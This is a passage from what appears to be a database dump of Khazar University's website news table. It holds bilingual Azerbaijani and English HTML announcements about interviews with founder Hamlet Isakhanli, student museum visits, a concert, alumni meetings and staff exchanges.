məlumatı bu linklər vasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://az.trend.az/azerbaijan/sports/2798668.html;%0d\">https://az.trend.az/azerbaijan/sports/2798668.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://naxcivantv.az/index.php/news/5920-az%C9%99rbaycanda-ilk-d%C9%99f%C9%99-d%C3%BCnya-robot-olimpiadas%C4%B1n%C4%B1n-se%C3%A7im-yar%C4%B1%C5%9F%C4%B1-ke%C3%A7iril%C9%99c%C9%99k.html\">http://naxcivantv.az/index.php/news/5920-azərbaycanda-ilk-dəfə-dünya-robot-olimpiadasının-seçim-yarışı-keçiriləcək.html</a>.&nbsp;</p>'),(3719,2170,'az','Professor Hamlet İsaxanlı ilə “Polimatın biliyi və onun əməli nəticələri” adlı müsahibənin ikinci hissəsi “525-ci qəzet”də çap olunub ','Xəbər verdiyimiz kimi, Waqas Əhmədin Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıdan aldığı “Polimatın biliyi və...','<p>Xəbər verdiyimiz kimi, Waqas Əhmədin Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlıdan aldığı “Polimatın biliyi və onun əməli nəticələri” adlı müsahibə\r\n“525-ci qəzet”in 29 aprel 2017-ci il tarixli nömrəsindən başlayaraq, hissə-hissə\r\nçap edilir.</p>\r\n<p>Müsahibənin ikinci hissəsi qəzetin 6 may\r\n2017-ci il tarixli nömrəsində dərc olunmuşdur.</p>\r\n<p>Həmin hissəni bu link vasitəsilə oxumaq\r\nolar:</p>\r\n<p><a href=\"http://525.az/site/?name=xeber&amp;news_id=78811\">http://525.az/site/?name=xeber&amp;news_id=78811</a> </p>'),(3720,2171,'az',' Professor Hamlet İsaxanlı ilə “Polimatın biliyi və onun əməli nəticələri” adlı müsahibənin üçüncü hissəsi “525-ci qəzet”də çap olunub','Xəbər verdiyimiz kimi, Waqas Əhmədin Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıdan aldığı “Polimatın biliyi və onun...','<p>Xəbər verdiyimiz kimi, Waqas\r\nƏhmədin Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlıdan aldığı “Polimatın biliyi və onun əməli nəticələri”\r\nadlı müsahibə “525-ci qəzet”in 29 aprel 2017-ci il tarixli nömrəsindən\r\nbaşlayaraq, hissə-hissə çap edilir.</p>\r\n<p>Müsahibənin üçüncü&nbsp; hissəsi qəzetin 13 may 2017-ci il tarixli\r\nnömrəsində dərc olunmuşdur.</p>\r\n<p>Həmin hissəni bu link vasitəsilə oxumaq\r\nolar:</p>\r\n<p><a href=\"http://525.az/site/?name=xeber&amp;news_id=79189\">http://525.az/site/?name=xeber&amp;news_id=79189</a> </p>'),(3721,2172,'az','Gənc tarixçilər Numizmatika və Miniatür kitab muzeylərində oldular','2017-ci il mayın 12-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Orxan Zamanovun Təhsil fakültəsi tarix ixtisasının tələbələri üçün təşkil etdiyi növbəti...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 12-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi\r\nOrxan Zamanovun Təhsil fakültəsi tarix ixtisasının tələbələri üçün təşkil\r\netdiyi növbəti dərs İçərişəhərdə yerləşən Numizmatika muzeyində gerçəkləşdirildi.\r\nDərs ekskurs xarakterili olması ilə bərabər, numizmatika üzrə mütəxəssis Qənirə\r\nPirquliyevanın rəhbərliyi ilə keçirildi. Təhsil fakültəsinin tələbələrinə Azərbaycan\r\nnumizmatikası, Şərqin pul dövriyyəsi, mübadilə və ticarət ilə bağlı geniş və\r\nmaraqlı faktlardan bəhs olundu. Tələbələrin maraqlı sualları və şərhləri, dərsin\r\nkeçirildiyi məkanın – Çin məscidinin özünəməxsus aurası və Qənirə xanımın əhatəli\r\ntəqdimatı dərsin qavranmasına və yaddaqalan olmasına şərait yaratdı. Bu\r\nekskursiyaya Şirvanşahlar sarayı yaxınlığında yerləşən Miniatür kitab müzeyinə\r\nqısa gəzinti də daxil idi. Orada tələbələr kitab incəsənəti və texnologiyası\r\nhaqqında məlumatlandırıldılar. Mikroskopik ölçülü kitablar və dünyanın nadir\r\nmuzeyində olmaq tarixçi tələbələr üçün çox maraqlı oldu. &nbsp;</p>'),(3729,2176,'en','Lectures','Lectures',''),(3730,2177,'az','Müsahibələr','Müsahibələr','<p><a href=\"http://www.khazar.org/files/founder/interviews/B%C3%B6y%C3%BCk%20irad%C9%99%20sahibi%20olmal%C4%B1san%20ki%252c%20x%C4%B1rda%20mane%C9%99l%C9%99r%20s%C9%99ni%20yolundan%20%C3%A7%C9%99kindir%C9%99%20bilm%C9%99sin--Business%20Time.%20%C4%B0yun%202011.docx\"></a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/B%C3%B6y%C3%BCk%20irad%C9%99%20sahibi%20olmal%C4%B1san%20ki%252c%20x%C4%B1rda%20mane%C9%99l%C9%99r%20s%C9%99ni%20yolundan%20%C3%A7%C9%99kindir%C9%99%20bilm%C9%99sin--Business%20Time.%20%C4%B0yun%202011.docx\">Böyük iradə sahibi olmalısan ki, xırda maneələr səni yolundan çəkindirə bilməsin--Business Time. İyun 2011</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%201%20news.az-a%20m%C3%BCsahib%C9%99si%20(1).docx\">Гамлет Исаханлы: При полном исключении коррупции среди работников вузов и при строжайшем отношении к системе образования, все будущие профессионалы будут вынуждены проучившись,&nbsp;получить достойное обра­зо­ва­ние! --&nbsp;1 news.az</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%201news.az-a%20m%C3%BCsahib%C9%99si.%20Mart%202011%20(1).docx\">Гамлет Исаханлы: «Что нужно для успешной борьбы с коррупцией? Политическая воля, и она предъявлена» --&nbsp;1news.az. Mart 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20525-ci%20q%C9%99zet%C9%99%20m%C3%BCsahib%C9%99si.%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Fevral%202011.pdf\">Cəsarətli addım. --&nbsp;Xəzər Xəbər. Fevral 2011&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20Lent.az-a%20m%C3%BCsahib%C9%99si.%2011%20iyun%202011%20(1).docx\">“Qaçaq İsaxan”ın alim nəvəsi. --&nbsp;Lent.az. 11 iyun 2011</a><br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20zaman.az-a%20m%C3%BCsahib%C9%99si%20(2).docx\">“İnsanı kədərləndirən arzuların ölümüdür” --&nbsp;zaman.az</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20zaman.az-a%20m%C3%BCsahib%C9%99si.docx\"></a></p>'),(3731,2177,'en','Interviews','Interviews','<p><a href=\"http://www.khazar.org/files/founder/interviews/B%C3%B6y%C3%BCk%20irad%C9%99%20sahibi%20olmal%C4%B1san%20ki%252c%20x%C4%B1rda%20mane%C9%99l%C9%99r%20s%C9%99ni%20yolundan%20%C3%A7%C9%99kindir%C9%99%20bilm%C9%99sin--Business%20Time.%20%C4%B0yun%202011.docx\"></a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/B%C3%B6y%C3%BCk%20irad%C9%99%20sahibi%20olmal%C4%B1san%20ki%252c%20x%C4%B1rda%20mane%C9%99l%C9%99r%20s%C9%99ni%20yolundan%20%C3%A7%C9%99kindir%C9%99%20bilm%C9%99sin--Business%20Time.%20%C4%B0yun%202011.docx\">Böyük iradə sahibi olmalısan ki, xırda maneələr səni yolundan çəkindirə bilməsin--Business Time. İyun 2011</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%201%20news.az-a%20m%C3%BCsahib%C9%99si%20(1).docx\">Гамлет Исаханлы: При полном исключении коррупции среди работников вузов и при строжайшем отношении к системе образования, все будущие профессионалы будут вынуждены проучившись,&nbsp;получить достойное обра­зо­ва­ние! --&nbsp;1 news.az</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%201news.az-a%20m%C3%BCsahib%C9%99si.%20Mart%202011%20(1).docx\">Гамлет Исаханлы: «Что нужно для успешной борьбы с коррупцией? Политическая воля, и она предъявлена» --&nbsp;1news.az. Mart 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20525-ci%20q%C9%99zet%C9%99%20m%C3%BCsahib%C9%99si.%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Fevral%202011.pdf\">Cəsarətli addım. --&nbsp;Xəzər Xəbər. Fevral 2011&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20Lent.az-a%20m%C3%BCsahib%C9%99si.%2011%20iyun%202011%20(1).docx\">“Qaçaq İsaxan”ın alim nəvəsi. --&nbsp;Lent.az. 11 iyun 2011</a><br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20zaman.az-a%20m%C3%BCsahib%C9%99si%20(2).docx\">“İnsanı kədərləndirən arzuların ölümüdür” --&nbsp;zaman.az</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20zaman.az-a%20m%C3%BCsahib%C9%99si.docx\"></a></p>'),(3732,2178,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<p><a href=\"http://www.khazar.org/files/founder/about/Tamella%20%C6%8Fliyeva%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda.PDF\">Tamella Əliyeva Hamlet İsaxanlı haqqında</a></p><p><a href=\"http://www.khazar.org/files/founder/about/Vaqif%20Yusifli%20Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20yarad%C4%B1c%C4%B1l%C4%B1%C4%9F%C4%B1%20haqq%C4%B1nda%20-%20updated.pdf\">Vaqif Yusifli Hamlet İsaxanlının yaradıcılığı haqqında</a><br></p><p><a href=\"http://www.khazar.org/files/founder/about/Marife%20Haciyeva%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Fevral%202011.PDF\">Marife Haciyeva Hamlet İsaxanlı haqqında--Xəzər Xəbər, Fevral 2011</a><br></p>'),(3733,2178,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli','<p><a href=\"http://www.khazar.org/files/founder/about/Tamella%20%C6%8Fliyeva%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda.PDF\">Tamella Əliyeva Hamlet İsaxanlı haqqında</a></p><p><a href=\"http://www.khazar.org/files/founder/about/Vaqif%20Yusifli%20Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20yarad%C4%B1c%C4%B1l%C4%B1%C4%9F%C4%B1%20haqq%C4%B1nda%20-%20updated.pdf\">Vaqif Yusifli Hamlet İsaxanlının yaradıcılığı haqqında</a><br></p><p><a href=\"http://www.khazar.org/files/founder/about/Marife%20Haciyeva%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Fevral%202011.PDF\">Marife Haciyeva Hamlet İsaxanlı haqqında--Xəzər Xəbər, Fevral 2011</a></p>'),(3734,2179,'az','Xəzər Universitetində İrandan gələn zərb alətləri ansamblının konserti oldu','2017-ci il mayın 15-də Xəzər Universitetinin  Mərmər salonunda İran Mədəniyyət Mərkəzi və Xəzər Universitetinin təşkilatçılığı ilə İranın Buşəhr vilayətindən gəlmiş “Şalu” zərb...','<p>2017-ci il mayın 15-də Xəzər Universitetinin &nbsp;Mərmər\r\nsalonunda İran Mədəniyyət Mərkəzi və Xəzər Universitetinin təşkilatçılığı ilə\r\nİranın Buşəhr vilayətindən gəlmiş “Şalu” zərb alətləri ansamblının konserti\r\noldu. Konsertdə universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı başda olmaqla universitetin rəhbərliyi, əməkdaşlar və\r\ntələbələr, iranlı qonaqlar – İran Mədəniyyət Mərkəzinin sədri Əsgər Farsi və\r\nmüavini Əlireza Behbudi iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Konsertdən əvvəl universitetin rektoru Hassan\r\nNiknafs çıxış edərək, qonaqları salamladı. İran Mədəniyyət Mərkəzinin sədri Əsgər Farsi çıxışında İranın musiqi\r\nmədəniyyəti haqqında qısa məlumat verdi, ölkələrarası əlaqələrin yaranmasında və\r\ninkişafında mədəniyyətin böyük əhəmiyyətini vurğuladı.</p>\r\n<p>Sonra “Şalu” ansamblı çıxışa başlayaraq, məharətini\r\nnümayiş etdirdi. Salondakıların böyük marağı və alqışları ilə qarşılanan\r\nkonsertin sonunda rektor Hassan Niknafs konsertin təşkilinə görə İran Mədəniyyət\r\nMərkəzinə və “Şalu” kollektivinə təşəkkürünü bildirdi.<strong></strong></p>'),(6373,3621,'az','Təhsil fakültəsinin dekanı Almaniyada simpoziumda oldu','2018-ci noyabrın 8-dən 11-dək Xəzər Universiteti Təhsil fakültəsinin dekanı dosent...','<p>2018-ci noyabrın 8-dən 11-dək Xəzər Universiteti Təhsil fakültəsinin dekanı dosent Elza Səmədova Almaniyanın Würzburg şəhərində keçirilən III Beynəlxalq Türk-Alman Münasibətləri Simpoziumunda “XX əsrin əvvəllərində Azərbaycan mətbuatında türk-alman münasibətləri” mövzusu ilə çıxış etdi. XX əsrin əvvəllərində Azərbaycanda nəşr olunan “Həyat”, “İrşad”, “Açıq söz” qəzetləri və “Füyuzat”, “Molla Nəsrəddin” jurnallarında çap olunan yazılar və karikaturalar əsasında hazırlanmış məqalə müxtəlif ölkə və universitetlərdən olan iştirakçılar tərəfindən yüksək maraqla qarşılandı.</p>'),(6372,3620,'en','Prof. Hamlet Isakhanli shares his views on QS results','On October 31, 2018, media.az news portal posted an article (in Russian) “Azerbaijani...','<p>On October 31, 2018, <strong><em>media.az</em></strong> news portal posted an article (in Russian) “Azerbaijani higher educational institutions have been rated higher than the ones in Armenia. Two points changed positions in QS rating”. The article is based on the interview with Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>Quacquarelli Symonds (QS) has announced ratings of universities. The article is available through the following link:</p><p><a href=\"https://media.az/society/1067717401/azerbaydzhanskie-vuzy-ocenili-vyshe-armyanskih-dve-prichiny-izmeneniy-poziciy-v-reytinge-qs/\">https://media.az/society/1067717401/azerbaydzhanskie-vuzy-ocenili-vyshe-armyanskih-dve-prichiny-izmeneniy-poziciy-v-reytinge-qs/</a>.<br></p>'),(6371,3620,'az','Professor Hamlet İsaxanlı QS-in nəticələrini dəyərləndirdi','2018-ci il oktyabrın 31-də media.az xəbər saytı “Azərbaycanın ali təhsil müəssisələri...','<p>2018-ci il oktyabrın 31-də <strong><em>media.az</em></strong> xəbər saytı “Azərbaycanın ali təhsil müəssisələri ermənilərinkindən yüsək qiymətləndirildi. İki məqam QS-in reytinqində mövqeləri dəyişdi” (rusca) adlı məqalə yayınlanmışdır. Məqalə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının sayta verdiyi müsahibə əsasında yazılmışdır.</p><p>Qeyd edək ki, ali təhsli müəssisələrini qiymətləndirən Quacquarelli Symonds (QS) təşkilatının növbəti reytinq siyası açıqlanmışdır.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://media.az/society/1067717401/azerbaydzhanskie-vuzy-ocenili-vyshe-armyanskih-dve-prichiny-izmeneniy-poziciy-v-reytinge-qs/\">https://media.az/society/1067717401/azerbaydzhanskie-vuzy-ocenili-vyshe-armyanskih-dve-prichiny-izmeneniy-poziciy-v-reytinge-qs/</a>.</p>'),(4616,2738,'az','“Xəzər”in əməkdaşı əqli mülkiyyət hüquqlarının müdafiəsi ilə bağlı konfransda iştirak etdi','2017-ci il dekabrın 14-də Xəzər Universitetinin Magistratura, doktrantura və elmı işlər üzrə bölməsinin müdiri Eldar Şahgəldiyev...','<p>2017-ci il dekabrın 14-də Xəzər Universitetinin Magistratura, doktrantura və elmı işlər üzrə bölməsinin müdiri Eldar Şahgəldiyev Azərbaycan Respublikası Müəllif Hüquqları Agentliyi və Ümumdünya Əqli Mülkiyyət Təşkilatının (ÜƏMT) birgə əməkdaşlığı ilə Bakıda təşkil olunmuş “Müəllif hüququna hörmətin aşılanması və rəqəmsal mühitdə piratçılığa və kontrafaktçılığa qarşı mübarizə” mövzusunda beynəlxalq konfransda iştirak etdi. Tədbirdə rəqəmsal mühitdə müəlliflik hüququ və onun pozulması hallarına qarşı mübarizə tədbirləri, əqli mülkiyyət sahəsində beynəlxalq əməkdaşlıq və onun perspektivləri, əqli mülkiyyət hüquqlarının müdafiə məsələləri müzakirə olundu.</p>'),(3918,2281,'az','Hamlet İsaxanlı məşhur vokalçılara həsr olunmuş tədbirdə çıxış etdi','2017-ci il iyunun 17-də Heydər Əliyev adına Sarayada keçirilən, görkəmli Azərbaycan müğənniləri, vokal sənətinin tanınmış nümayəndələri Fidan və Xuraman Qasımovalara həsr...','<p>2017-ci il iyunun\r\n17-də Heydər Əliyev adına Sarayada keçirilən, görkəmli Azərbaycan müğənniləri,\r\nvokal sənətinin tanınmış nümayəndələri Fidan və Xuraman Qasımovalara həsr\r\nolunmuş təntənəli mərasimdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı çıxış etdi. O, Azərbaycan vokal sənətinin\r\ntarixi və bu tarixdə Qasımova bacılarının yeri haqqında danışdı. </p>\r\n<p>Bu haqda daha geniş\r\nməlumatı bu link vasitəsilə əldə etmək olar:</p>\r\n<p><a href=\"http://kaspiy.az/news.php?id=62645.\">http://kaspiy.az/news.php?id=62645.</a></p>'),(5851,3352,'az','Xəzər haqqında','Xəzər haqqında','<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/wvcbiaxTP6M\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe>'),(5181,3008,'en','Jubilee at Khazar University','A ceremony was held to celebrate Piri Piriyev’s, a staff member of the Department...','<p>A ceremony was held to celebrate Piri Piriyev’s, a staff member of the Department of Repair and Construction of Khazar University, 60<sup>th</sup> birthday, on March 1, 2018. University administration, deans, heads of departments and staff members participated in the ceremony.</p><p>Dr. Hassan Niknafs, Rector of the University, congratulated Piri Piriyev and presented him a bunch of flowers and a letter of congratulation.</p><p>Isakhan Isakhanli, vice-rector for Administration and Student Affairs, Alovsat Amirbeyli, Director for Public Relations and Media, Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Shahin Isayev, Manager for Repair and Construction, and other staff members delivered speeches talking about Piri Piriyev’s virtues as a personality and co-worker.</p><p>Piri Piriyev expressed his gratitude to university administration and participants for the ceremony.</p>'),(4762,2791,'en','Representatives of the University visited Ganja and Mingachevir','Fuat Rasulov, coordinator of the working group on prospective students of Khazar University, and Alovsat Amirbayli, director for Public Relations and Media...','<p>Fuat Rasulov, coordinator of the working group on prospective students of Khazar University, and Alovsat Amirbayli, director for Public Relations and Media, visited Ganja and Mingachevir, on 22-23 December, 2017. During the visit, university representatives held meetings with students of secondary schools and preparation courses as well parents and teachers. Moreover, the representatives gave full information on Khazar University, presented a promotion video of Khazar University and answered questions by participants. It was decided that university administration should meet students, parents and teachers in Ganja and Mingachevir next year.</p>'),(3736,2181,'az','1996-1997-ci ilin məzunları ilə görüş keçirildi','2017-ci il mayın 15-də Xəzər Universitetini 1996-1997-ci illərdə bitirmiş məzunlarla universitetdə görüş keçirildi. Əvvəlcə, universitetin Məzunlarla İş Mərkəzinin müdiri Baba Bayramlı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il mayın 15-də<strong> </strong>Xəzər Universitetini 1996-1997-ci illərdə\r\nbitirmiş məzunlarla universitetdə görüş keçirildi. Əvvəlcə, universitetin Məzunlarla\r\nİş Mərkəzinin müdiri Baba Bayramlı məzunları salamladı və görüşün məqsəd və\r\ngözləntiləri barədə iştirakçılara məlumat verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonra universitetin\r\nrektoru Dr. Hassan Niknafs məzunlarla universitet arasında sıx qarşılıqlı əlaqələrin\r\nqurulmasının əhəmiyyətini vurğuladı və məzunlarla belə bir əməkdaşlığın uğurlu\r\nnəticələr verəcəyinə ümidvar olduğunu bildirdi. Öz keçmiş tələbələri ilə yenidən\r\ngörüşməkdən məmnun olduğunu bildirən professor Məhəmməd Nuriyev məzunları\r\nuniversitet həyatında fəal iştirak etməyə səslədi və onların öz uğurları barədə\r\n“Xəzər Xəbər” jurnalında silsilə yazılar dərc etdirməsinin tələbələr üçün çox\r\nmaraqlı və faydalı ola biləcəyini qeyd etdi. Xəzər Universiteti Məzunlar\r\nAssosiasiyasının vitse-prezidenti Ramal Əhmədov qurumun fəaliyyəti barədə məlumat\r\nverdi və məzunları assosiasiyanın üzvləri sırasına qoşulmağa dəvət etdi. Məzunlardan\r\n“BP- Azərbaycan” şirkətinin maliyyə meneceri Azər Qasımov, “Paşa Holding”-in\r\nşöbə müdiri Mirbağır Mirbabayev, Macarıstan Ticarət Palatasının Azərbaycan və\r\nGürcüstan üzrə nümayəndəliyinin rəhbəri Anar Kərimov, “Marketsaz” şirkətinin\r\nicraçı direktoru Aydın Babayev, “Aristokrat” Turizm şirkətinin şöbə müdiri\r\nMurad Aslanov, Azərbaycan Respublikası Məcburi Köçkünlərin Sosial İnkişaf\r\nFondunun direktor müavini Namiq İbrahimov, ARPA İctimai Birliyinin Himayəçilər\r\nŞurasının sədri Rüfət Mahmud, “Barama K.M.” şirkətinin direktoru Yusif Hacıyev,\r\n“Bioworks” şirkətinin Xəzər regionu üzrə nümayəndəsi Yusif Məmmədli, “Nort West\r\nConstruction” şirkətinin maliyyə müdiri Xalid Acalov, “SOLUS MMC” şirkətinin\r\nsatış meneceri Kamran İsgəndərov, “Real MMC” şirkətinin meneceri Samir Nuriyev,\r\n“Azintellectservis” şirkətinin icraçı direktoru Kamran Behbudov, “Gəmi Qaya\r\nMMC” şirkətinin meneceri Eldar Lətifov və “GABEG Ltd” şirkətinin təsisçisi və\r\ndirektoru Yaşar İsgəndərov çıxış edərək, görüşdən məmnunluq duyduqlarını və bu\r\ngörüşlərin müntəzəm təşkilinin və Xəzər Universiteti ilə daha sıx əlaqələr\r\nqurmağın zəruri olduğunu söylədilər, həmçinin, öz fəaliyyətləri haqqında qısa məlumat\r\nverdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tarix və arxeologiya\r\ndepartamentinin müdiri Roza Arazova, İngilis dili departamentinin müəllimi Firəngiz\r\nNəsirova, Akademik Keyfiyyətin Təminatı mərkəzinin müdiri Lyudmila Sotova və\r\nİqtisadiyyat və menecment fakültəsinin dekani Ceyhun Məmmədov görüşdə iştirak\r\netdilər.</p>'),(3737,2182,'en','Khazar University’s Staff Member at International Staff Week in Poland','On May 8-12, 2017, Ms. Gunay Farzaliyeva, Coordinator of International Affairs Office, participated in the International Staff Week organized within the Erasmus+ Programme at...','<p>On May 8-12, 2017, Ms. Gunay Farzaliyeva,\r\nCoordinator of International Affairs Office, participated in the International\r\nStaff Week organized within the Erasmus+ Programme at Kozminski University in\r\nWarsaw, Poland. Participants included administrative and academic staff members\r\nfrom various universities of Australia, Belgium, Brazil, Canada, China,\r\nCroatia, Czech Republic, Georgia, Indonesia, Japan, Kazakhstan, Malaysia, New\r\nZealand, Peru, Philippines, Russia, Serbia, Ukraine, UK, and USA.</p>\r\n<p>It was the second time that Khazar University\r\nparticipated in the International Staff Week at Kozminski University. This\r\nyear\'s staff week focused on effective management of the internationalization\r\nprocess. Discussions included work-life balance, future learning tools, organization\r\nof engagement of international students in university life actively,\r\npreparation of students for a job market, and many others.</p>\r\n<p>During the staff week, Gunay Farzaliyeva\r\ndelivered a presentation about Khazar University and its internationalization\r\nstrategy. She met with the representatives of participating universities and\r\ndiscussed possible cooperation opportunities with them. Ms. Farzaliyeva also\r\nrepresented the university in the networking event organized in the form of\r\nfair of universities where partner universities had a chance to meet with both\r\ntheir students on exchange and prospective exchange students from Kozminski\r\nUniversity. Gunay met with two bachelor students from the School of Economics\r\nand Management of Khazar University who are currently on a semester-long\r\nexchange at Kozminski University.</p>'),(3738,2140,'en','Instructor of History and Archeology Department at Anadolu University','On April 24-29, 2017, Anar Eyyubov, the instructor of the Department of History and Archeology at Khazar University, had an exchange experience in one of the leading and prestigious...','<p>On April 24-29, 2017, Anar\r\nEyyubov, the instructor of the Department of History and Archeology at Khazar\r\nUniversity, had an exchange experience in one of the leading and prestigious universities\r\nin Turkey, Anadolu University. Anadolu University is one of the largest\r\nuniversities for the number of its students (34 thousand full- time and almost\r\n1 million distant students and graduate students).&nbsp; Anar Eyyubov delivered a speech about psychological\r\naspects of international conflicts for Master Degree students and his\r\ncolleagues from the field of “International Relations”. He had interesting\r\nlessons with lots of practical examples, comparing Azerbaijan’s and Turkey’s\r\nexperiences in this sphere, and could achieve interactive communication with\r\nthe students.&nbsp;</p>'),(3739,2182,'az','Xəzər Universitetinin əməkdaşı Polşada Beynəlxalq İşçi Həftəsində oldu','2017-ci il mayın 8-dən 12-dək Xəzər Universiteti Beynəlxalq Əlaqələr Ofisinin koordinatoru Günay Fərzəliyeva Polşanın Varşava şəhərində Kozminski Universitetində Erasmus+...','<p>2017-ci il mayın 8-dən 12-dək Xəzər Universiteti Beynəlxalq Əlaqələr Ofisinin koordinatoru Günay\r\nFərzəliyeva Polşanın Varşava şəhərində Kozminski Universitetində Erasmus+ layihəsi\r\nçərçivəsində keçirilən Beynəlxalq İşçi Həftəsində iştirak etdi. Tədbirdə həmçinin\r\nAvstraliya, Belçika, Braziliya, Kanada, Çin, Xorvatiya, Çex Rspublikası,\r\nGürcüstan, İndoneziya, Yaponiya Qazaxıstan, Malayziya, Yeni Zellandiya, Rusiya,\r\nPeru, Filippin, Serbiya. Ukrayna, Böyük Britaniya və ABŞ kimi ölkələrdən olan\r\nadministrativ və akademik heyət nümayəndələri iştirak edirdilər. </p>\r\n<p>Bu, Xəzər Universitetinin Kozminski\r\nUniversitetində Beynəlxalq İşçi Həftəsində ikinci iştirakı idi. Bu ilin işçi həftəsi\r\ndaha çox beynəlmiləlləşmənin effektiv idarə olunması yollarına həsr olunmuşdu.\r\nTələbələrin gələcək\r\niş həyatına hazırlanması, beynəlxalq tələbələrin universitet həyatına aktiv cəlb\r\nolunması, gələcək təlim metodları və digər məsələlər müzakirə olunanlar\r\nsırasında idi. </p>\r\n<p>İşçi Həftəsində Günay Fərzəliyeva\r\nXəzər Universiteti və onun beynəlmiləlləşdirmə strategiyası barədə təqdimatla\r\nçıxış etdi. O, həmçinin, tədbirdə iştirak edən universitetlərin nümayəndələri\r\nilə görüşərək, mümkün əməkdaşlıq imkanlarını müzakirə etdi. Günay xanım həm də\r\nhazırda Kozminski Universitetində bir semestrlik mübadilə proqramı çərçivəsində\r\ntəhsil alan Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin iki\r\nbakalavr tələbəsi ilə də görüşdü.</p>'),(3740,2139,'en',' Next Event of “Web of Science” Platform ','On May 3, 2017, the next event of the leading information agency “Thomson Reuters” “Web of Science” platform, intended for the institutions of higher education in Azerbaijan, was...','<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-indent:35.4pt;line-height:normal;background:white\"\"=\"\">On May 3, 2017, the next event of the leading\r\ninformation agency “Thomson Reuters” “Web of Science” platform, intended for\r\nthe institutions of higher education in Azerbaijan, was held in Baku State\r\nUniversity. Aygun Babazadeh, the employee of “Thomson Reuters” Agency Science\r\nand Education Department, gave comprehensive information about the agency she\r\nrepresents and its scientific journals. On the second part of the event Khayala\r\nMammadova, assistant editor of “Khazar Humanities and Social Sciences” journal\r\nof Khazar University gave information about the rules for the preparation of\r\nscientific articles and managing principles of international scientific\r\njournals, and other practical issues related to the journals in “Web of\r\nScience” platform. </p>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\">The participants’ questions were answered at the end of the event. </p>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\">The events of this 